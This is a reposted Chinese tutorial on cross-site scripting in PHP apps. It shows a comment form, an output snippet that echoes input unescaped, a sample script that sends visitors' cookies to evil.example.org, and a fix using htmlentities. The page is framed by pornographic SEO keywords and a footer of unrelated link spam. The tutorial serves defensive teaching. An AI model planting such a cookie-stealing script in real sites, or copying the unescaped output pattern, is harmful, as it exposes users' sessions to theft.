电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

PHP安全-跨站腳本攻擊

瀏覽:98日期:2022-09-12 09:44:45
跨站腳本攻擊

跨站腳本攻擊是眾所周知的攻擊方式之一。所有平臺上的Web應用都深受其擾,PHP應用也不例外。

所有有輸入的應用都面臨著風險。Webmail,論壇,留言本,甚至是Blog。事實上,大多數Web應用提供輸入是出于更吸引人氣的目的,但同時這也會把自己置于危險之中。如果輸入沒有正確地進行過濾和轉義,跨站腳本漏洞就產生了。

以一個允許在每個頁面上錄入評論的應用為例,它使用了下面的表單幫助用戶進行提交:

CODE:

<form action='comment.php' method='POST' />

<p>Name: <input type='text' name='name' /><br />

Comment: <textarea name='comment' rows='10' cols='60'></textarea><br />

<input type='submit' value='Add Comment' /></p>

</form>

程序向其他訪問該頁面的用戶顯示評論。例如,類似下面的代碼段可能被用來輸出一個評論($comment)及與之對應的發表人($name):

CODE:

<?php

echo '<p>$name writes:<br />';

echo '<blockquote>$comment</blockquote></p>';

?>

這個流程對$comment及$name的值給予了充分的信任,想象一下它們中的一個的內容中包含如下代碼:

CODE:

<script>

document.location =

’http://evil.example.org/steal.php?cookies=’ +

document.cookie

</script>

如果你的用戶察看這個評論時,這與你允許別人在你的網站源程序中加入Javascript代碼無異。你的用戶會在不知不覺中把他們的cookies(瀏覽網站的人)發送到evil.example.org,而接收程序(steal.php)可以通過$_GET[’cookies’]變量防問所有的cookies。

這是一個常見的錯誤,主要是由于不好的編程習慣引發的。幸運的是此類錯誤很容易避免。由于這種風險只在你輸出了被污染數據時發生,所以只要確保做到如第一章所述的過濾輸入及轉義輸出即可

最起碼你要用htmlentities( )對任何你要輸出到客戶端的數據進行轉義。該函數可以把所有的特殊字符轉換成HTML表示方式。所有會引起瀏覽器進行特殊處理的字符在進行了轉換后,就能確保顯示出來的是原來錄入的內容。

由此,用下面的代碼來顯示評論是更安全的:

CODE:

<?php

$clean = array();

$html = array();

/* Filter Input ($name, $comment) */

$html[’name’] = htmlentities($clean[’name’], ENT_QUOTES, ’UTF-8’);

$html[’comment’] = htmlentities($clean[’comment’], ENT_QUOTES, ’UTF-8’);

echo '<p>{$html[’name’]} writes:<br />';

echo '<blockquote>{$html[’comment’]}</blockquote></p>';

?>

標簽: PHP
相關文章:
主站蜘蛛池模板: 水性漆|墙面漆|木器家具漆|水漆涂料_晨阳水漆官网 | 跨境物流_美国卡派_中大件运输_尾程派送_海外仓一件代发 - 广州环至美供应链平台 | 学校用栓剂模,玻璃瓶轧盖钳,小型安瓿熔封机,实验室安瓿熔封机-长沙中亚制药设备有限公司 | 广州工业氧气-工业氩气-工业氮气-二氧化碳-广州市番禺区得力气体经营部 | 锡膏喷印机-全自动涂覆机厂家-全自动点胶机-视觉点胶机-深圳市博明智控科技有限公司 | 北京开业庆典策划-年会活动策划公司-舞龙舞狮团大鼓表演-北京盛乾龙狮鼓乐礼仪庆典策划公司 | 冷却塔厂家_冷却塔维修_冷却塔改造_凉水塔配件填料公司- 广东康明节能空调有限公司 | 盐城网络公司_盐城网站优化_盐城网站建设_盐城市启晨网络科技有限公司 | 根系分析仪,大米外观品质检测仪,考种仪,藻类鉴定计数仪,叶面积仪,菌落计数仪,抑菌圈测量仪,抗生素效价测定仪,植物表型仪,冠层分析仪-杭州万深检测仪器网 | 德国EA可编程直流电源_电子负载,中国台湾固纬直流电源_交流电源-苏州展文电子科技有限公司 | 环球周刊网| 深圳3D打印服务-3D打印加工-手板模型加工厂-悟空打印坊 | 化妆品加工厂-化妆品加工-化妆品代加工-面膜加工-广东欧泉生化科技有限公司 | 手持式线材张力计-套帽式风量罩-深圳市欧亚精密仪器有限公司 | 匀胶机旋涂仪-声扫显微镜-工业水浸超声-安赛斯(北京)科技有限公司 | 安全,主动,被动,柔性,山体滑坡,sns,钢丝绳,边坡,防护网,护栏网,围栏,栏杆,栅栏,厂家 - 护栏网防护网生产厂家 | 高防护蠕动泵-多通道灌装系统-高防护蠕动泵-www.bjhuiyufluid.com慧宇伟业(北京)流体设备有限公司 | 浙江红酒库-冰雕库-气调库-茶叶库安装-医药疫苗冷库-食品物流恒温恒湿车间-杭州领顺实业有限公司 | 螺旋绞龙叶片,螺旋输送机厂家,山东螺旋输送机-淄博长江机械制造有限公司 | 广州印刷厂_广州彩印厂-广州艺彩印务有限公司 | 北京银联移动POS机办理_收银POS机_智能pos机_刷卡机_收银系统_个人POS机-谷骐科技【官网】 | 石磨面粉机|石磨面粉机械|石磨面粉机组|石磨面粉成套设备-河南成立粮油机械有限公司 | 污水处理设备,一体化泵站,一体化净水设备-「梦之洁环保设备厂家」 | 山东信蓝建设有限公司官网| 兰州UPS电源,兰州山特UPS-兰州万胜商贸 | 深圳激光打标机_激光打标机_激光焊接机_激光切割机_同体激光打标机-深圳市创想激光科技有限公司 深圳快餐店设计-餐饮设计公司-餐饮空间品牌全案设计-深圳市勤蜂装饰工程 | 质检报告_CE认证_FCC认证_SRRC认证_PSE认证_第三方检测机构-深圳市环测威检测技术有限公司 | 合肥废气治理设备_安徽除尘设备_工业废气处理设备厂家-盈凯环保 合肥防火门窗/隔断_合肥防火卷帘门厂家_安徽耐火窗_良万消防设备有限公司 | 干粉砂浆设备-干粉砂浆生产线-干混-石膏-保温砂浆设备生产线-腻子粉设备厂家-国恒机械 | 废气处理_废气处理设备_工业废气处理_江苏龙泰环保设备制造有限公司 | 美甲贴片-指甲贴片-穿戴美甲-假指甲厂家--薇丝黛拉 | 品牌设计_VI设计_电影海报设计_包装设计_LOGO设计-Bacross新越品牌顾问 | 蒸压釜_蒸养釜_蒸压釜厂家-山东鑫泰鑫智能装备有限公司 | 金属切削液-脱水防锈油-电火花机油-抗磨液压油-深圳市雨辰宏业科技发展有限公司 | 海南在线 海南一家| 优秀的临床医学知识库,临床知识库,医疗知识库,满足电子病历四级要求,免费试用 | 煤矿支护网片_矿用勾花菱形网_缝管式_管缝式锚杆-邯郸市永年区志涛工矿配件有限公司 | 杭州画室_十大画室_白墙画室_杭州美术培训_国美附中培训_附中考前培训_升学率高的画室_美术中考集训美术高考集训基地 | 除尘器布袋骨架,除尘器滤袋,除尘器骨架,电磁脉冲阀膜片,卸灰阀,螺旋输送机-泊头市天润环保机械设备有限公司 | 选矿设备-新型重选设备-金属矿尾矿重选-青州冠诚重工机械有限公司 | 拼装地板,悬浮地板厂家,悬浮式拼装运动地板-石家庄博超地板科技有限公司 |